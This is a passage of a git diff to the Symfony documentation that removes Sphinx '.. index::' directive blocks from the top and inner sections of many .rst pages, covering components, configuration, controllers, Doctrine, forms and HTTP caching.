 The String Component
 ====================
 
diff --git a/components/uid.rst b/components/uid.rst
index a19d46fb871..a2377c52b8b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: UID
-   single: Components; UID
-
 The UID Component
 =================
 
diff --git a/components/using_components.rst b/components/using_components.rst
index 31a0f24d1be..f975be7e1b2 100644
--- a/components/using_components.rst
+++ b/components/using_components.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Components; Installation
-   single: Components; Usage
-
 .. _how-to-install-and-use-the-symfony2-components:
 
 How to Install and Use the Symfony Components
diff --git a/components/validator.rst b/components/validator.rst
index 8698934c0a0..085c77a7946 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Validator
-   single: Components; Validator
-
 The Validator Component
 =======================
 
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 226ffd46b06..07ee9c52d79 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validator; Metadata
-
 Metadata
 ========
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7af7d1a4622..0eb5bc71e86 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validator; Loading Resources
-
 Loading Resources
 =================
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e7d3d381313..6b0d3bc6ea1 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
 The VarDumper Component
 =======================
 
@@ -471,10 +467,6 @@ then its dump representation::
 
 .. _var-dumper-advanced:
 
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
 Advanced Usage
 --------------
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index ea52252b3cc..0b83b94dd76 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: VarExporter
-   single: Components; VarExporter
-
 The VarExporter Component
 =========================
 
diff --git a/components/workflow.rst b/components/workflow.rst
index 67b00730b69..5161db5f888 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Workflow
-   single: Components; Workflow
-
 The Workflow Component
 ======================
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 94d0278959f..f179d306ca1 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Yaml
-   single: Components; Yaml
-
 The Yaml Component
 ==================
 
diff --git a/configuration.rst b/configuration.rst
index cfa519409c6..c56b895da8b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Configuration
-
 Configuring Symfony
 ===================
 
@@ -385,9 +382,6 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     Later in this article you can read how to
     :ref:`get configuration parameters in controllers and services <configuration-accessing-parameters>`.
 
-.. index::
-   single: Environments; Introduction
-
 .. _page-creation-environments:
 .. _page-creation-prod-cache-clear:
 .. _configuration-environments:
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8ea5f3cc42e..358f3989a69 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Environment Variable Processors; env vars
-
 .. _env-var-processors:
 
 Environment Variable Processors
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index b0048e43e1d..e5319a8b063 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: How the front controller, ``Kernel`` and environments
-    work together
-
 Understanding how the Front Controller, Kernel and Environments Work together
 =============================================================================
 
@@ -122,9 +118,6 @@ new kernel.
     But odds are high that you don't need to change things like this on the
     fly by having several ``Kernel`` implementations.
 
-.. index::
-   single: Configuration; Debug mode
-
 .. _debug-mode:
 
 Debug Mode
@@ -219,9 +212,6 @@ config files found on ``config/packages/*`` and then, the files found on
 ``config/packages/ENVIRONMENT_NAME/``. You are free to implement this method
 differently if you need a more sophisticated way of loading your configuration.
 
-.. index::
-   single: Environments; Cache directory
-
 Environments and the Cache Directory
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index f840b2875f5..dc7e4c5b390 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: kernel, performance
-
 How To Create Symfony Applications with Multiple Kernels
 ========================================================
 
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 808fb6f923f..7528c250729 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Override Symfony
-
 How to Override Symfony's default Directory Structure
 =====================================================
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 0176d35fa10..56270b75ca5 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Secrets
-
 How to Keep Sensitive Information Secret
 ========================================
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 1cc51dcfd9f..9eb629b4b20 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Using Parameters within a Dependency Injection Class
-
 Using Parameters within a Dependency Injection Class
 ----------------------------------------------------
 
diff --git a/console.rst b/console.rst
index 1e13234ecd0..04c53fddae9 100644
--- a/console.rst
+++ b/console.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; Create commands
-
 Console Commands
 ================
 
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 91ead2a7801..887bdeb147d 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; How to Call a Command from a controller
-
 How to Call a Command from a Controller
 =======================================
 
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 6323f21ac50..9b57560e42c 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Commands as Services
-
 How to Define Commands as Services
 ==================================
 
diff --git a/console/style.rst b/console/style.rst
index fc94a1be4db..59ad22ba3fa 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; Style commands
-
 How to Style a Console Command
 ==============================
 
diff --git a/controller.rst b/controller.rst
index e39af6dd3a0..58e7e83d854 100644
--- a/controller.rst
+++ b/controller.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller
-
 Controller
 ==========
 
@@ -15,9 +12,6 @@ to render the content of a page.
     If you haven't already created your first working page, check out
     :doc:`/page_creation` and then come back!
 
-.. index::
-   single: Controller; Basic example
-
 A Basic Controller
 ------------------
 
@@ -66,9 +60,6 @@ This controller is pretty straightforward:
 
 * *line 16*: The controller creates and returns a ``Response`` object.
 
-.. index::
-   single: Controller; Routes and controllers
-
 Mapping a URL to a Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -80,9 +71,6 @@ To see your page, go to this URL in your browser: http://localhost:8000/lucky/nu
 
 For more information on routing, see :doc:`/routing`.
 
-.. index::
-   single: Controller; Base controller class
-
 .. _the-base-controller-class-services:
 .. _the-base-controller-classes-services:
 
@@ -112,9 +100,6 @@ Add the ``use`` statement atop your controller class and then modify
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
 
-.. index::
-   single: Controller; Redirecting
-
 Generating URLs
 ~~~~~~~~~~~~~~~
 
@@ -167,9 +152,6 @@ and ``redirect()`` methods::
     redirect to a URL provided by end-users, your application may be open
     to the `unvalidated redirects security vulnerability`_.
 
-.. index::
-   single: Controller; Rendering templates
-
 .. _controller-rendering-templates:
 
 Rendering Templates
@@ -185,9 +167,6 @@ object for you::
 Templating and Twig are explained more in the
 :doc:`Creating and Using Templates article </templates>`.
 
-.. index::
-   single: Controller; Accessing services
-
 .. _controller-accessing-services:
 .. _accessing-other-services:
 
@@ -315,10 +294,6 @@ use:
     created: templates/product/new.html.twig
     created: templates/product/show.html.twig
 
-.. index::
-   single: Controller; Managing errors
-   single: Controller; 404 pages
-
 Managing Errors and 404 Pages
 -----------------------------
 
@@ -387,10 +362,6 @@ object. To access it in your controller, add it as an argument and
 :ref:`Keep reading <request-object-info>` for more information about using the
 Request object.
 
-.. index::
-   single: Controller; The session
-   single: Session
-
 Managing the Session
 --------------------
 
@@ -430,9 +401,6 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 :ref:`Reading <session-intro>` for more information about using Sessions.
 
-.. index::
-   single: Controller; Response object
-
 .. _request-object-info:
 
 The Request and Response Object
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 0670357bb0f..fcbe012ef33 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Argument Value Resolvers
-
 Extending Action Argument Resolving
 ===================================
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 320c1aaae62..7ccb05cdf65 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Controller; Customize error pages
-   single: Error pages
-
 How to Customize Error Pages
 ============================
 
diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index 444439bb2df..a0e0648517a 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Controller; Forwarding
-
 How to Forward Requests to another Controller
 =============================================
 
diff --git a/controller/service.rst b/controller/service.rst
index f034f524f12..1510f7b8278 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; As Services
-
 How to Define Controllers as Services
 =====================================
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index ac96b4207bb..e3736d63d52 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Upload; File
-
 How to Upload Files
 ===================
 
diff --git a/deployment.rst b/deployment.rst
index da77d19f086..f9480d673e8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Deployment; Deployment tools
-
 .. _how-to-deploy-a-symfony2-application:
 
 How to Deploy a Symfony Application
diff --git a/doctrine.rst b/doctrine.rst
index 4576c0167ca..12b2a44bf46 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine
-
 Databases and the Doctrine ORM
 ==============================
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 0468b03becd..0aea5cf2d58 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Doctrine; Associations
-
 How to Work with Doctrine Associations / Relations
 ==================================================
 
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 17217cd1ecb..f615ad1fcd5 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Custom DQL functions
-
 How to Register custom DQL Functions
 ====================================
 
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index a9d04674163..544428a9691 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -1,6 +1,3 @@
-.. index::
-   pair: Doctrine; DBAL
-
 How to Use Doctrine DBAL
 ========================
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index bb9517aff19..729e266db3d 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Doctrine; Lifecycle Callbacks; Doctrine Events
-
 Doctrine Events
 ===============
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 6f77aa8a455..081239bcd9f 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Multiple entity managers
-
 How to Work with Multiple Entity Managers and Connections
 =========================================================
 
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index cf530a041e0..7063b7157a4 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Doctrine; Simple Registration Form
-   single: Form; Simple Registration Form
-   single: Security; Simple Registration Form
-
 How to Implement a Registration Form
 ====================================
 
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 6c1569d411e..a3b837fe076 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Doctrine; Resolving target entities
-   single: Doctrine; Define relationships with abstract classes and interfaces
-
 How to Define Relationships with Abstract Classes and Interfaces
 ================================================================
 
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 278eda204ed..35c8e729c2d 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Generating entities from existing database
-
 How to Generate Entities from an Existing Database
 ==================================================
 
diff --git a/email.rst b/email.rst
index a4636adab78..8cb879ad4ab 100644
--- a/email.rst
+++ b/email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Emails
-
 Swift Mailer
 ============
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3acf2caf5f7..ae13f5d61a6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Events; Create listener
-   single: Create subscriber
-
 Events and Event Listeners
 ==========================
 
diff --git a/form/button_based_validation.rst b/form/button_based_validation.rst
index 613e6f325f6..47f2673b079 100644
--- a/form/button_based_validation.rst
+++ b/form/button_based_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups based on clicked button
-
 How to Choose Validation Groups Based on the Clicked Button
 ===========================================================
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..2ae299fbd18 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Custom field type
-
 How to Create a Custom Form Field Type
 ======================================
 
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9e0066d7be8..43e6b7f198e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form type extension
-
 How to Create a Form Type Extension
 ===================================
 
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 226284db439..400b4f3ff9a 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups based on submitted data
-
 How to Choose Validation Groups Based on the Submitted Data
 ===========================================================
 
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 6d322e3e043..30b642b0e0f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Form; Data mappers
-
 When and How to Use Data Mappers
 ================================
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index d87bde36855..005413ef992 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Data transformers
-
 How to Use Data Transformers
 ============================
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index a7c623dad19..3e239bfc138 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form::submit()
-
 How to Use the submit() Function to Handle Form Submissions
 ===========================================================
 
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index 2844d0c865d..4bd6c5a4839 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Disabling validation
-
 How to Disable the Validation of Submitted Data
 ===============================================
 
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 6ab7372c844..8ad446915c4 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Events
-
 How to Dynamically Modify Forms Using Form Events
 =================================================
 
diff --git a/form/embedded.rst b/form/embedded.rst
index 156b8a7a767..c43f8a7a592 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Embedded forms
-
 How to Embed Forms
 ==================
 
diff --git a/form/events.rst b/form/events.rst
index a99698aa247..092be472012 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Form Events
-
 Form Events
 ===========
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 86593e39163..7922bc3f3a1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Embed collection of forms
-
 How to Embed a Collection of Forms
 ==================================
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 738ac6a947e..3551ed2344e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Custom form rendering
-
 How to Customize Form Rendering
 ===============================
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 965ebf73c0c..ca5981876cc 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Forms; Theming
-   single: Forms; Customizing fields
-
 How to Work with Form Themes
 ============================
 
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 083e415aac4..64001ba074d 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; The "inherit_data" option
-
 How to Reduce Code Duplication with "inherit_data"
 ==================================================
 
diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index c8b1fc5145b..9b3c6aa6eec 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Multiple Submit Buttons
-
 How to Submit a Form with Multiple Buttons
 ==========================================
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 2856072e8d3..f89808d5e08 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Custom Type Guesser
-
 Creating a custom Type Guesser
 ==============================
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 134109cf05b..d67b5f3bae7 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form testing
-
 How to Unit Test your Forms
 ===========================
 
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index c2cba15ad7f..3290f5df443 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Empty data
-
 How to Configure empty Data for a Form Class
 ============================================
 
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 609afac8689..4addc1ba1a7 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups
-
 How to Define the Validation Groups to Use
 ==========================================
 
diff --git a/form/without_class.rst b/form/without_class.rst
index 5f565ebfb52..2a642e0d7f0 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; With no class
-
 How to Use a Form without a Data Class
 ======================================
 
diff --git a/forms.rst b/forms.rst
index 6d234b482a1..17223e15e10 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms
-
 Forms
 =====
 
diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 1a93225b5ae..8bc04725bcd 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Create a UX bundle
-
 Create a UX bundle
 ==================
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 8a5d77cae5e..cdd4c6664be 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Asset; Custom Version Strategy
-
 How to Use a Custom Version Strategy for Assets
 ===============================================
 
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 1396a28a582..a43bcd8d028 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony UX
-
 The Symfony UX Initiative & Packages
 ====================================
 
diff --git a/http_cache.rst b/http_cache.rst
index 5dbe30c7f8f..dc763bb3ec9 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Cache
-
 HTTP Cache
 ==========
 
@@ -30,10 +27,6 @@ on the topic. If you're new to HTTP caching, Ryan Tomayko's article
 `Things Caches Do`_ is *highly* recommended. Another in-depth resource is Mark
 Nottingham's `Cache Tutorial`_.
 
-.. index::
-   single: Cache; Proxy
-   single: Cache; Reverse proxy
-
 .. _gateway-caches:
 
 Caching with a Gateway Cache
@@ -60,9 +53,6 @@ as `Varnish`_, `Squid in reverse proxy mode`_, and the Symfony reverse proxy.
     Gateway caches are sometimes referred to as reverse proxy caches,
     surrogate caches, or even HTTP accelerators.
 
-.. index::
-   single: Cache; Symfony reverse proxy
-
 .. _`symfony-gateway-cache`:
 .. _symfony2-reverse-proxy:
 
@@ -156,9 +146,6 @@ cache efficiency of your routes.
     be able to switch to something more robust - like Varnish - without any problems.
     See :doc:`How to use Varnish </http_cache/varnish>`
 
-.. index::
-   single: Cache; HTTP
-
 .. _http-cache-introduction:
 
 Making your Responses HTTP Cacheable
@@ -201,9 +188,6 @@ These four headers are used to help cache your responses via *two* different mod
     invaluable. Don't be put-off by the appearance of the spec - its contents
     are much more beautiful than its cover!
 
-.. index::
-   single: Cache; Expiration
-
 .. _http-cache-expiration-intro:
 
 Expiration Caching
@@ -265,10 +249,6 @@ Finally, for more information about expiration caching, see :doc:`/http_cache/ex
 Validation Caching
 ~~~~~~~~~~~~~~~~~~
 
-.. index::
-   single: Cache; Cache-Control header
-   single: HTTP headers; Cache-Control
-
 With expiration caching, you say "cache for 3600 seconds!". But, when someone
 updates cached content, you won't see that content on your site until the cache
 expires.
@@ -279,9 +259,6 @@ caching model.
 
 For details, see :doc:`/http_cache/validation`.
 
-.. index::
-   single: Cache; Safe methods
-
 Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -301,9 +278,6 @@ three things:
   when responding to a GET or HEAD request. If those requests are cached, future
   requests may not actually hit your server.
 
-.. index::
-   pair: Cache; Configuration
-
 More Response Methods
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index b0b07909d29..48d451d3154 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Cache; Invalidation
-
 .. _http-cache-invalidation:
 
 Cache Invalidation
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 1dbbf9a0fc4..1d2d0fbbcd7 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Cache; Vary
-   single: HTTP headers; Vary
-
 Varying the Response for HTTP Cache
 ===================================
 
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 55be414971b..fa2ce96ea06 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; ESI
-    single: ESI
-
 .. _edge-side-includes:
 
 Working with Edge Side Includes
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index ae436e631ee..b3c70cfc53c 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; HTTP expiration
-
 HTTP Cache Expiration
 =====================
 
@@ -14,10 +11,6 @@ HTTP headers: ``Expires`` or ``Cache-Control``.
 
 .. include:: /http_cache/_expiration-and-validation.rst.inc
 
-.. index::
-    single: Cache; Cache-Control header
-    single: HTTP headers; Cache-Control
-
 Expiration with the ``Cache-Control`` Header
 --------------------------------------------
 
@@ -45,10 +38,6 @@ additional directives):
     response in ``stale-if-error`` scenarios. That's why it's recommended to use
     both ``public`` and ``max-age`` directives.
 
-.. index::
-    single: Cache; Expires header
-    single: HTTP headers; Expires
-
 Expiration with the ``Expires`` Header
 --------------------------------------
 
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 23459588a33..3db2a986326 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; SSI
-    single: SSI
-
 .. _server-side-includes:
 
 Working with Server Side Includes
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index d46b4c58b80..468296682a0 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; Validation
-
 HTTP Cache Validation
 =====================
 
@@ -31,10 +28,6 @@ to implement the validation model: ``ETag`` and ``Last-Modified``.
 
 .. include:: /http_cache/_expiration-and-validation.rst.inc
 
-.. index::
-    single: Cache; Etag header
-    single: HTTP headers; Etag
-
 Validation with the ``ETag`` Header
 -----------------------------------
 
@@ -111,10 +104,6 @@ doing so much work.
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 
-.. index::
-    single: Cache; Last-Modified header
-    single: HTTP headers; Last-Modified
-
 Validation with the ``Last-Modified`` Header
 --------------------------------------------
 
@@ -175,10 +164,6 @@ response header. If they are equivalent, the ``Response`` will be set to a
     app. This is how the cache and server communicate with each other and
     decide whether or not the resource has been updated since it was cached.
 
-.. index::
-    single: Cache; Conditional get
-    single: HTTP; 304
-
 .. _optimizing-cache-validation:
 
 Optimizing your Code with Validation
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index cd78237bd4b..6157ceb3cf3 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; Varnish
-
 How to Use Varnish to Speed up my Website
 =========================================
 
@@ -9,9 +6,6 @@ Because Symfony's cache uses the standard HTTP cache headers, the
 proxy. `Varnish`_ is a powerful, open-source, HTTP accelerator capable of serving
 cached content fast and including support for :doc:`Edge Side Includes </http_cache/esi>`.
 
-.. index::
-    single: Varnish; configuration
-
 Make Symfony Trust the Reverse Proxy
 ------------------------------------
 
@@ -213,9 +207,6 @@ Symfony adds automatically:
     behavior, those VCL functions already exist. Append the code
     to the end of the function, they won't interfere with each other.
 
-.. index::
-    single: Varnish; Invalidation
-
 Cache Invalidation
 ------------------
 
diff --git a/http_client.rst b/http_client.rst
index d76b84a18fd..e0c6dafd777 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: HttpClient
-   single: Components; HttpClient
-
 HTTP Client
 ===========
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index b69f55b208c..5affeaa5f99 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony versus Flat PHP
-
 .. _symfony2-versus-flat-php:
 
 Symfony versus Flat PHP
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 5cb74615c2c..6204d434a6a 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony Fundamentals
-
 .. _symfony2-and-http-fundamentals:
 
 Symfony and HTTP Fundamentals
@@ -30,9 +27,6 @@ Symfony is built from the ground up around that reality. Whether you realize
 it or not, HTTP is something you use every day. With Symfony, you'll learn
 how to master it.
 
-.. index::
-   single: HTTP; Request-response paradigm
-
 Step 1: The Client Sends a Request
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -159,9 +153,6 @@ each request and create and return the appropriate response.
     or the `HTTP Bis`_, which is an active effort to clarify the original
     specification.
 
-.. index::
-   single: Symfony Fundamentals; Requests and responses
-
 Requests and Responses in PHP
 -----------------------------
 
@@ -293,9 +284,6 @@ content with security. How can you manage all of this and still keep your
 code organized and maintainable? Symfony was created to help you with these
 problems.
 
-.. index::
-    single: Front controller; Origins
-
 The Front Controller
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -347,9 +335,6 @@ A small front controller might look like this::
 This is better, but this is still a lot of repeated work! Fortunately, Symfony can
 help once again.
 
